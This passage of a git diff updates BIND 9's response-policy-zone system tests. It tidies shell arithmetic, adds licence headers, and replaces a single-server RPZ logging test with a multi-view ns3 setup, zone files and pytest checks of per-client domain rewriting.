-      t=`expr $t + 1`
+      t=$((t + 1))
       case $label in
       a-only)
 	echo_i "checking rpz 'CNAME *.' (NODATA) with dns64, $type lookup with A-only (${t})"
@@ -933,10 +1000,19 @@ EOF
       grep "ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 2$" dig.out.$t > /dev/null || ret=1
       grep "^rpz"  dig.out.$t > /dev/null || ret=1
       [ $ret -eq 0 ] || echo_i "failed"
-      status=`expr $status + $ret`
+      status=$((status + ret))
     done
   done
 
+  if [ native = "$mode" ]; then
+    t=$((t + 1))
+    echo_i "checking that rewriting CD=1 queries handles pending data correctly (${t})"
+    $RNDCCMD $ns3 flush
+    $RNDCCMD $ns6 flush
+    $DIG a7-2.tld2s -p ${PORT} @$ns6 +cd > dig.out.${t}
+    grep -w "1.1.1.1" dig.out.${t} > /dev/null || setret "failed"
+  fi
+
   [ $status -ne 0 ] && pf=fail || pf=pass
   case $mode in
   native)
@@ -949,6 +1025,6 @@ EOF
   *) echo_i "invalid test mode";;
   esac
 done
-status=`expr ${native:-0} + ${dnsrps:-0}`
+status=$((native + dnsrps))
 
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/rpz/tests_sh_rpz.py b/bin/tests/system/rpz/tests_sh_rpz.py
new file mode 100644
index 0000000000..1d551b53a0
--- /dev/null
+++ b/bin/tests/system/rpz/tests_sh_rpz.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_rpz(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/rpzextra/clean.sh b/bin/tests/system/rpzextra/clean.sh
index dbf193e5eb..928ee8ba87 100644
--- a/bin/tests/system/rpzextra/clean.sh
+++ b/bin/tests/system/rpzextra/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -14,4 +18,4 @@ rm -f ns*/named.memstats
 rm -f ns*/named.run
 rm -f ns*/rpz*.txt
 rm -rf __pycache__
-rm -f *.status
+rm -f ns3/*-rpz-external.local.db
diff --git a/bin/tests/system/rpzextra/conftest.py b/bin/tests/system/rpzextra/conftest.py
deleted file mode 100644
index e711fd0d89..0000000000
--- a/bin/tests/system/rpzextra/conftest.py
+++ /dev/null
@@ -1,54 +0,0 @@
-############################################################################
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-############################################################################
-
-import os
-import pytest
-
-try:
-    import dns.resolver  # noqa: F401 # pylint: disable=unused-import
-except ModuleNotFoundError:
-    dns_resolver_module_found = False
-else:
-    dns_resolver_module_found = True
-
-
-def pytest_configure(config):
-    config.addinivalue_line(
-        "markers", "dnspython: mark tests that need dnspython to function"
-    )
-
-
-def pytest_collection_modifyitems(config, items):
-    # pylint: disable=unused-argument
-    # Test for dnspython module
-    if not dns_resolver_module_found:
-        skip_requests = pytest.mark.skip(reason="need dnspython module to run")
-        for item in items:
-            if "dnspython" in item.keywords:
-                item.add_marker(skip_requests)
-    # Test if JSON statistics channel was enabled
-    no_jsonstats = pytest.mark.skip(reason="need JSON statistics to be enabled")
-    if os.getenv("HAVEJSONSTATS") is None:
-        for item in items:
-            if "json" in item.keywords:
-                item.add_marker(no_jsonstats)
-
-
-@pytest.fixture
-def named_port(request):
-    # pylint: disable=unused-argument
-    port = os.getenv("PORT")
-    if port is None:
-        port = 5301
-    else:
-        port = int(port)
-
-    return port
diff --git a/bin/tests/system/rpzextra/ns1/named.args b/bin/tests/system/rpzextra/ns1/named.args
deleted file mode 100644
index b289924b27..0000000000
--- a/bin/tests/system/rpzextra/ns1/named.args
+++ /dev/null
@@ -1 +0,0 @@
- -m record,size,mctx -c named.conf -d 99 -D rpzextra-ns1 -X named.lock -U 4 -T maxcachesize=2097152
diff --git a/bin/tests/system/rpzextra/ns1/named.conf.in b/bin/tests/system/rpzextra/ns1/named.conf.in
deleted file mode 100644
index d7ffbf3d40..0000000000
--- a/bin/tests/system/rpzextra/ns1/named.conf.in
+++ /dev/null
@@ -1,61 +0,0 @@
-key rndc_key {
-    secret "1234abcd8765";
-	algorithm hmac-sha256;
-};
-
-controls {
-	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
-};
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	listen-on { 10.53.0.1; };
-	pid-file "named.pid";
-	notify no;
-	dnssec-validation no;
-	allow-query { any; };
-	recursion yes;
-	allow-recursion { any; };
-
-	response-policy {
-		zone "rpz.local";
-	};
-};
-
-logging {
-     channel rpz_passthru {
-          file "rpz_passthru.txt" versions 3 size 5m;
-          print-time yes;
-          print-category yes;
-          print-severity yes;
-          severity info;
-     };
-
-     channel rpz_log {
-          file "rpz.txt" versions 3 size 20m;
-          print-time yes;
-          print-category yes;
-          print-severity yes;
-          severity info;
-     };
-
-     category rpz { rpz_log; default_debug; };
-	 category rpz-passthru { rpz_passthru; default_debug; };
-};
-
-zone "rpz.local" {
-    type primary;
-    file "rpz.local.db";
-    allow-transfer { none; };
-    allow-query { localhost; };
-};
-
-zone "." {
-	type hint;
-	file "root.db";
-};
-
-
diff --git a/bin/tests/system/rpzextra/ns1/root.db b/bin/tests/system/rpzextra/ns1/root.db
deleted file mode 100644
index c5b4550dee..0000000000
--- a/bin/tests/system/rpzextra/ns1/root.db
+++ /dev/null
@@ -1,25 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300
-. 			IN SOA	gson.nominum.com. a.root.servers.nil. (
-				2000042100   	; serial
-				600         	; refresh
-				600         	; retry
-				1200    	; expire
-				600       	; minimum
-				)
-.			    NS ns1.allowed
-
-
-allowed.		NS	ns1.allowed.
-ns1.allowed.	A	10.53.0.2
-
-baddomain.		NS	ns1.baddomain.
-ns1.baddomain.	A	10.53.0.2
diff --git a/bin/tests/system/rpzextra/ns1/rpz.local.db b/bin/tests/system/rpzextra/ns1/rpz.local.db
deleted file mode 100644
index 9dcf5ce725..0000000000
--- a/bin/tests/system/rpzextra/ns1/rpz.local.db
+++ /dev/null
@@ -1,18 +0,0 @@
-$TTL 300
-
-@	IN	SOA	localhost.rpz.local root.rpz.local. (
-	2020022500	; serial number
-	60			; refresh every minute
-	60			; retry every minute
-	432000		; expire in 5 days
-	60			; negative caching ttl, 1 minute
-)
-
-
-                IN	NS	LOCALHOST.
-
-allowed       IN	CNAME	rpz-passthru.
-*.allowed     IN	CNAME	rpz-passthru.
-
-baddomain     IN	CNAME	.
-*.baddomain   IN	CNAME	.
diff --git a/bin/tests/system/rpzextra/ns2/allowed.db b/bin/tests/system/rpzextra/ns2/allowed.db
index 17f45dceeb..57a733c0f5 100644
--- a/bin/tests/system/rpzextra/ns2/allowed.db
+++ b/bin/tests/system/rpzextra/ns2/allowed.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $TTL 300
 
 @	IN	SOA	ns1 root.allowed. 2020040101 4h 1h 1w 60
diff --git a/bin/tests/system/rpzextra/ns2/baddomain.db b/bin/tests/system/rpzextra/ns2/baddomain.db
index c40bf3bfae..3946da359c 100644
--- a/bin/tests/system/rpzextra/ns2/baddomain.db
+++ b/bin/tests/system/rpzextra/ns2/baddomain.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $TTL 300
 
 @	IN	SOA ns1	root.baddomain. (
diff --git a/bin/tests/system/rpzextra/ns2/gooddomain.db b/bin/tests/system/rpzextra/ns2/gooddomain.db
new file mode 100644
index 0000000000..1fb720cc7b
--- /dev/null
+++ b/bin/tests/system/rpzextra/ns2/gooddomain.db
@@ -0,0 +1,27 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+
+@	IN	SOA ns1	root.gooddomain. (
+	2020040101
+	4h
+	1h
+	1w
+	60
+)
+
+            IN	NS    ns1
+
+ns1         IN	A     10.53.0.2
+
+gooddomain. IN A     10.53.0.2
+www         IN A     10.53.0.3
diff --git a/bin/tests/system/rpzextra/ns2/named.conf.in b/bin/tests/system/rpzextra/ns2/named.conf.in
index 39e110316c..6317563dc9 100644
--- a/bin/tests/system/rpzextra/ns2/named.conf.in
+++ b/bin/tests/system/rpzextra/ns2/named.conf.in
@@ -1,6 +1,19 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 key rndc_key {
     secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -31,3 +44,14 @@ zone "baddomain" {
     allow-transfer { none; };
 };
 
+zone "gooddomain" {
+    type primary;
+    file "gooddomain.db";
+    allow-transfer { none; };
+};
+
+zone "rpz-external.local" {
+    type primary;
+    file "rpz-external.local.db";
+    allow-transfer { any; };
+};
diff --git a/bin/tests/system/rpzextra/ns2/rpz-external.local.db b/bin/tests/system/rpzextra/ns2/rpz-external.local.db
new file mode 100644
index 0000000000..b3ab69ee6d
--- /dev/null
+++ b/bin/tests/system/rpzextra/ns2/rpz-external.local.db
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+
+@	IN	SOA	localhost.rpz-external.local root.rpz-external.local. (
+	2020022500	; serial number
+	60			; refresh every minute
+	60			; retry every minute
+	432000		; expire in 5 days
+	60			; negative caching ttl, 1 minute
+)
+
+
+                IN	NS	LOCALHOST.
+
+allowed       IN	CNAME	.
+*.allowed     IN	CNAME	.
diff --git a/bin/tests/system/rpzextra/ns3/external-rpz.local.db b/bin/tests/system/rpzextra/ns3/external-rpz.local.db
new file mode 100644
index 0000000000..aad6b89dc6
--- /dev/null
+++ b/bin/tests/system/rpzextra/ns3/external-rpz.local.db
@@ -0,0 +1,29 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+
+@	IN	SOA	localhost.rpz.local root.rpz.local. (
+	2020022500	; serial number
+	60			; refresh every minute
+	60			; retry every minute
+	432000		; expire in 5 days
+	60			; negative caching ttl, 1 minute
+)
+
+
+              IN	NS	LOCALHOST.
+
+allowed       IN	CNAME	rpz-passthru.
+*.allowed     IN	CNAME	rpz-passthru.
+
+gooddomain     IN	CNAME	.
+*.gooddomain   IN	CNAME	.
diff --git a/bin/tests/system/rpzextra/ns3/first-rpz.local.db b/bin/tests/system/rpzextra/ns3/first-rpz.local.db
new file mode 100644
index 0000000000..4203ca1430
--- /dev/null
+++ b/bin/tests/system/rpzextra/ns3/first-rpz.local.db
@@ -0,0 +1,29 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+
+@	IN	SOA	localhost.rpz.local root.rpz.local. (
+	2020022500	; serial number
+	60			; refresh every minute
+	60			; retry every minute
+	432000		; expire in 5 days
+	60			; negative caching ttl, 1 minute
+)
+
+
+                IN	NS	LOCALHOST.
+
+allowed       IN	CNAME	rpz-passthru.
+*.allowed     IN	CNAME	rpz-passthru.
+
+baddomain     IN	CNAME	.
+*.baddomain   IN	CNAME	.
diff --git a/bin/tests/system/rpzextra/ns3/fourth-rpz-extra.local.db b/bin/tests/system/rpzextra/ns3/fourth-rpz-extra.local.db
new file mode 100644
index 0000000000..471030c3d9
--- /dev/null
+++ b/bin/tests/system/rpzextra/ns3/fourth-rpz-extra.local.db
@@ -0,0 +1,32 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+
+@	IN	SOA	localhost.rpz-extra.local root.rpz-extra.local. (
+	2020022500	; serial number
+	60			; refresh every minute
+	60			; retry every minute
+	432000		; expire in 5 days
+	60			; negative caching ttl, 1 minute
+)
+
+
+                IN	NS	LOCALHOST.
+
+allowed       IN	CNAME	rpz-passthru.
+*.allowed     IN	CNAME	rpz-passthru.
+
+gooddomain     IN	CNAME	.
+*.gooddomain   IN	CNAME	.
+
+baddomain     IN	CNAME	.
+*.baddomain   IN	CNAME	.
diff --git a/bin/tests/system/rpzextra/ns3/named.args b/bin/tests/system/rpzextra/ns3/named.args
new file mode 100644
index 0000000000..970fc22639
--- /dev/null
+++ b/bin/tests/system/rpzextra/ns3/named.args
@@ -0,0 +1 @@
+ -m record -c named.conf -d 99 -D rpzextra-ns1 -X named.lock -U 4 -T maxcachesize=2097152
diff --git a/bin/tests/system/rpzextra/ns3/named.conf.in b/bin/tests/system/rpzextra/ns3/named.conf.in
new file mode 100644
index 0000000000..cd459bcda6
--- /dev/null
+++ b/bin/tests/system/rpzextra/ns3/named.conf.in
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+key rndc_key {
+    secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+options {
+	query-source address 10.53.0.3;
+	notify-source 10.53.0.3;
+	transfer-source 10.53.0.3;
+	port @PORT@;
+	listen-on { 10.53.0.3; };
+	pid-file "named.pid";
+	notify no;
+	dnssec-validation no;
+	allow-query { any; };
+	recursion yes;
+	allow-recursion { any; };
+	empty-zones-enable false;
+	response-policy {
+		zone "rpz-extra.local";
+	};
+};
+
+logging {
+	channel rpz_passthru {
+		file "rpz_passthru.txt" versions 3 size 5m;
+		print-time yes;
+		print-category yes;
+		print-severity yes;
+		severity info;
+	};
+
+	channel rpz_log {
+		file "rpz.txt" versions 3 size 20m;
+		print-time yes;
+		print-category yes;
+		print-severity yes;
+		severity info;
+	};
+
+	category rpz { rpz_log; default_debug; };
+	category rpz-passthru { rpz_passthru; default_debug; };
+};
+
+view "first" {
+	match-clients { 10.53.0.1; };
+	zone "." {
+		type hint;
+		file "root.db";
+	};
+	zone "rpz.local" {
+		type primary;
+		file "first-rpz.local.db";
+		allow-transfer { none; };
+		allow-query { localhost; };
+	};
+	response-policy {
+		zone "rpz.local";
+	};
+};
+
+view "second" {
+	match-clients { 10.53.0.2; };
+	zone "." {
+		type hint;
+		file "root.db";
+	};
+	zone "rpz-external.local" {
+		type secondary;
+		primaries { 10.53.0.2; };
+		file "second-rpz-external.local.db";
+		allow-query { 10.53.0.2; };
+	};
+	response-policy {
+		zone "rpz-external.local";
+	};
+};
+
+view "third" {
+	match-clients { 10.53.0.3; };
+	zone "." {
+		type hint;
+		file "root.db";
+	};
+	zone "rpz-extra.local" {
+		type primary;
+		file "third-rpz-extra.local.db";
+		allow-transfer { none; };
+		allow-query { localhost; };
+	};
+};
+
+view "fourth" {
+	match-clients { 10.53.0.4; };
+	zone "." {
+		type hint;
+		file "root.db";
+	};
+	zone "rpz-extra.local" {
+		type primary;
+		file "fourth-rpz-extra.local.db";
+		allow-transfer { none; };
+		allow-query { localhost; };
+	};
+};
+
+view "external" {
+	match-clients { any; };
+	zone "." {
+		type hint;
+		file "root.db";
+	};
+	zone "rpz.local" {
+		type primary;
+		file "external-rpz.local.db";
+		allow-transfer { none; };
+		allow-query { localhost; };
+	};
+	zone "rpz-external.local" {
+		type secondary;
+		masterfile-format text;
+		primaries { 10.53.0.2; };
+		file "external-rpz-external.local.db";
+		allow-query { 10.53.0.5; };
+	};
+	response-policy {
+		zone "rpz-external.local";
+		zone "rpz.local";
+	};
+};
diff --git a/bin/tests/system/rpzextra/ns3/root.db b/bin/tests/system/rpzextra/ns3/root.db
new file mode 100644
index 0000000000..ca499888b1
--- /dev/null
+++ b/bin/tests/system/rpzextra/ns3/root.db
@@ -0,0 +1,30 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+. 			IN SOA	gson.nominum.com. a.root.servers.nil. (
+				2000042100   	; serial
+				600         	; refresh
+				600         	; retry
+				1200    	; expire
+				600       	; minimum
+				)
+.			    NS ns1.allowed
+
+
+allowed.		NS	ns1.allowed.
+ns1.allowed.	A	10.53.0.2
+
+baddomain.		NS	ns1.baddomain.
+ns1.baddomain.	A	10.53.0.2
+
+gooddomain.		NS	ns1.gooddomain.
+ns1.gooddomain.	A	10.53.0.2
diff --git a/bin/tests/system/rpzextra/ns3/third-rpz-extra.local.db b/bin/tests/system/rpzextra/ns3/third-rpz-extra.local.db
new file mode 100644
index 0000000000..a8b46faac1
--- /dev/null
+++ b/bin/tests/system/rpzextra/ns3/third-rpz-extra.local.db
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+
+@	IN	SOA	localhost.rpz-extra.local root.rpz-extra.local. (
+	2020022500	; serial number
+	60			; refresh every minute
+	60			; retry every minute
+	432000		; expire in 5 days
+	60			; negative caching ttl, 1 minute
+)
+
+
+                IN	NS	LOCALHOST.
+
+allowed       IN	CNAME	rpz-passthru.
+*.allowed     IN	CNAME	rpz-passthru.
diff --git a/bin/tests/system/rpzextra/setup.sh b/bin/tests/system/rpzextra/setup.sh
index 013a365133..2dbb388f72 100644
--- a/bin/tests/system/rpzextra/setup.sh
+++ b/bin/tests/system/rpzextra/setup.sh
@@ -1,9 +1,11 @@
-#! /bin/sh
-#
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,5 +17,5 @@ set -e
 
 . ../conf.sh
 
-copy_setports ns1/named.conf.in ns1/named.conf
 copy_setports ns2/named.conf.in ns2/named.conf
+copy_setports ns3/named.conf.in ns3/named.conf
diff --git a/bin/tests/system/rpzextra/tests-rpz-passthru-logging.py b/bin/tests/system/rpzextra/tests-rpz-passthru-logging.py
deleted file mode 100755
index c4afa43ae9..0000000000
--- a/bin/tests/system/rpzextra/tests-rpz-passthru-logging.py
+++ /dev/null
@@ -1,47 +0,0 @@
-#!/usr/bin/python3
-############################################################################
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-############################################################################
-
-import os
-import pytest
-import dns.resolver
-
-
-# @pytest.mark.dnspython
-def test_rpz_passthru_logging(named_port):
-    resolver = dns.resolver.Resolver()
-    resolver.nameservers = ['10.53.0.1']
-    resolver.port = named_port
-
-    # Should generate a log entry into rpz_passthru.txt
-    ans = resolver.query('allowed.', 'A')
-    for rd in ans:
-        assert rd.address == "10.53.0.2"
-
-    # baddomain.com isn't allowed (CNAME .), should return NXDOMAIN
-    # Should generate a log entry into rpz.txt
-    with pytest.raises(dns.resolver.NXDOMAIN):
-        resolver.query('baddomain.', 'A')
-
-    rpz_passthru_logfile = os.path.join("ns1", "rpz_passthru.txt")
-    rpz_logfile = os.path.join("ns1", "rpz.txt")
-
-    assert os.path.isfile(rpz_passthru_logfile)
-    assert os.path.isfile(rpz_logfile)
-
-    with open(rpz_passthru_logfile) as log_file:
-        line = log_file.read()
-        assert "rpz QNAME PASSTHRU rewrite allowed/A/IN" in line
-
-    with open(rpz_logfile) as log_file:
-        line = log_file.read()
-        assert "rpz QNAME PASSTHRU rewrite allowed/A/IN" not in line
-        assert "rpz QNAME NXDOMAIN rewrite baddomain/A/IN" in line
diff --git a/bin/tests/system/rpzextra/tests_rpzextra.py b/bin/tests/system/rpzextra/tests_rpzextra.py
new file mode 100644
index 0000000000..ab5da45973
--- /dev/null
+++ b/bin/tests/system/rpzextra/tests_rpzextra.py
@@ -0,0 +1,143 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import time
+import os
+
+import pytest
+
+pytest.importorskip("dns", minversion="2.0.0")
+import dns.resolver
+
+
+def wait_for_transfer(ip, port, client_ip, name, rrtype):
+    resolver = dns.resolver.Resolver()
+    resolver.nameservers = [ip]
+    resolver.port = port
+
+    for _ in range(10):
+        try:
+            resolver.resolve(name, rrtype, source=client_ip)
+        except dns.resolver.NoNameservers:
+            time.sleep(1)
+        else:
+            break
+    else:
+        raise RuntimeError(
+            "zone transfer failed: "
+            f"client {client_ip} got NXDOMAIN for {name} {rrtype} from @{ip}:{port}"
+        )
+
+
+def test_rpz_multiple_views(named_port):
+    resolver = dns.resolver.Resolver()
+    resolver.nameservers = ["10.53.0.3"]
+    resolver.port = named_port
+
+    wait_for_transfer("10.53.0.3", named_port, "10.53.0.2", "rpz-external.local", "SOA")
+    wait_for_transfer("10.53.0.3", named_port, "10.53.0.5", "rpz-external.local", "SOA")
+
+    # For 10.53.0.1 source IP:
+    # - baddomain.com isn't allowed (CNAME .), should return NXDOMAIN
+    # - gooddomain.com is allowed
+    # - allowed. is allowed
+    with pytest.raises(dns.resolver.NXDOMAIN):
+        resolver.resolve("baddomain.", "A", source="10.53.0.1")
+
+    ans = resolver.resolve("gooddomain.", "A", source="10.53.0.1")
+    assert ans[0].address == "10.53.0.2"
+
+    ans = resolver.resolve("allowed.", "A", source="10.53.0.1")
+    assert ans[0].address == "10.53.0.2"
+
+    # For 10.53.0.2 source IP:
+    # - allowed.com isn't allowed (CNAME .), should return NXDOMAIN
+    # - baddomain.com is allowed
+    # - gooddomain.com is allowed
+    ans = resolver.resolve("baddomain.", "A", source="10.53.0.2")
+    assert ans[0].address == "10.53.0.2"
+
+    ans = resolver.resolve("gooddomain.", "A", source="10.53.0.2")
+    assert ans[0].address == "10.53.0.2"
+
+    with pytest.raises(dns.resolver.NXDOMAIN):
+        resolver.resolve("allowed.", "A", source="10.53.0.2")
+
+    # For 10.53.0.3 source IP:
+    # - gooddomain.com is allowed
+    # - baddomain.com is allowed
+    # - allowed. is allowed
+    ans = resolver.resolve("baddomain.", "A", source="10.53.0.3")
+    assert ans[0].address == "10.53.0.2"
+
+    ans = resolver.resolve("gooddomain.", "A", source="10.53.0.3")
+    assert ans[0].address == "10.53.0.2"
+
+    ans = resolver.resolve("allowed.", "A", source="10.53.0.3")
+    assert ans[0].address == "10.53.0.2"
+
+    # For 10.53.0.4 source IP:
+    # - gooddomain.com isn't allowed (CNAME .), should return NXDOMAIN
+    # - baddomain.com isn't allowed (CNAME .), should return NXDOMAIN
+    # - allowed. is allowed
+    with pytest.raises(dns.resolver.NXDOMAIN):
+        resolver.resolve("baddomain.", "A", source="10.53.0.4")
+
+    with pytest.raises(dns.resolver.NXDOMAIN):
+        resolver.resolve("gooddomain.", "A", source="10.53.0.4")
+
+    ans = resolver.resolve("allowed.", "A", source="10.53.0.4")
+    assert ans[0].address == "10.53.0.2"
+
+    # For 10.53.0.5 (any) source IP:
+    # - baddomain.com is allowed
+    # - gooddomain.com isn't allowed (CNAME .), should return NXDOMAIN
+    # - allowed.com isn't allowed (CNAME .), should return NXDOMAIN
+    ans = resolver.resolve("baddomain.", "A", source="10.53.0.5")
+    assert ans[0].address == "10.53.0.2"
+
+    with pytest.raises(dns.resolver.NXDOMAIN):
+        resolver.resolve("gooddomain.", "A", source="10.53.0.5")
+
+    with pytest.raises(dns.resolver.NXDOMAIN):
+        resolver.resolve("allowed.", "A", source="10.53.0.5")
+
+
+def test_rpz_passthru_logging(named_port):
+    resolver = dns.resolver.Resolver()
+    resolver.nameservers = ["10.53.0.3"]
+    resolver.port = named_port
+
+    # Should generate a log entry into rpz_passthru.txt
+    ans = resolver.resolve("allowed.", "A", source="10.53.0.1")
+    assert ans[0].address == "10.53.0.2"
+
+    # baddomain.com isn't allowed (CNAME .), should return NXDOMAIN
+    # Should generate a log entry into rpz.txt
+    with pytest.raises(dns.resolver.NXDOMAIN):
+        resolver.resolve("baddomain.", "A", source="10.53.0.1")
+
+    rpz_passthru_logfile = os.path.join("ns3", "rpz_passthru.txt")
+    rpz_logfile = os.path.join("ns3", "rpz.txt")
+
+    assert os.path.isfile(rpz_passthru_logfile)
+    assert os.path.isfile(rpz_logfile)
+
+    with open(rpz_passthru_logfile, encoding="utf-8") as log_file:
+        line = log_file.read()
+        assert "rpz QNAME PASSTHRU rewrite allowed/A/IN" in line
+
+    with open(rpz_logfile, encoding="utf-8") as log_file:
+        line = log_file.read()
+        assert "rpz QNAME PASSTHRU rewrite allowed/A/IN" not in line
+        assert "rpz QNAME NXDOMAIN rewrite baddomain/A/IN" in line
diff --git a/bin/tests/system/rpzrecurse/.gitignore b/bin/tests/system/rpzrecurse/.gitignore
index ab57b95862..b58ca75d82 100644
--- a/bin/tests/system/rpzrecurse/.gitignore
+++ b/bin/tests/system/rpzrecurse/.gitignore
@@ -4,9 +4,7 @@
 /ns3/named.conf
 /ns3/named2.conf
 /ns4/named.conf
-/ans5/ans.pl
 /ans5/ans.pid
